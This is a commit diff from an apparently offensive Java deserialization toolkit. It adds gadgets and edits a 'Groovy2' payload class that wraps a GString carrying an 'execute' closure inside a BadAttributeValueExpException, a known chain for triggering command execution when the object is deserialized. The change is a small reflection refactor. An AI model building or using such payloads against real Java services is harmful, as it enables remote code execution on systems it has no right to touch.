add 7gadgets (降级groovyt适配新gadget)

This commit is contained in:
Fw-fW-fw
2024-08-19 18:58:51 +08:00
parent 5c766bfbf8
commit 7d7128b4db
2 changed files with 3 additions and 4 deletions
@@ -25,9 +25,8 @@ public class Groovy2 implements ObjectPayload<Object> {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
}
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, gString);
Reflections.setFieldValue(val,"val",gString);
Reflections.setFieldValue(gString,"values",(new Object[]{execute}));
return val;
}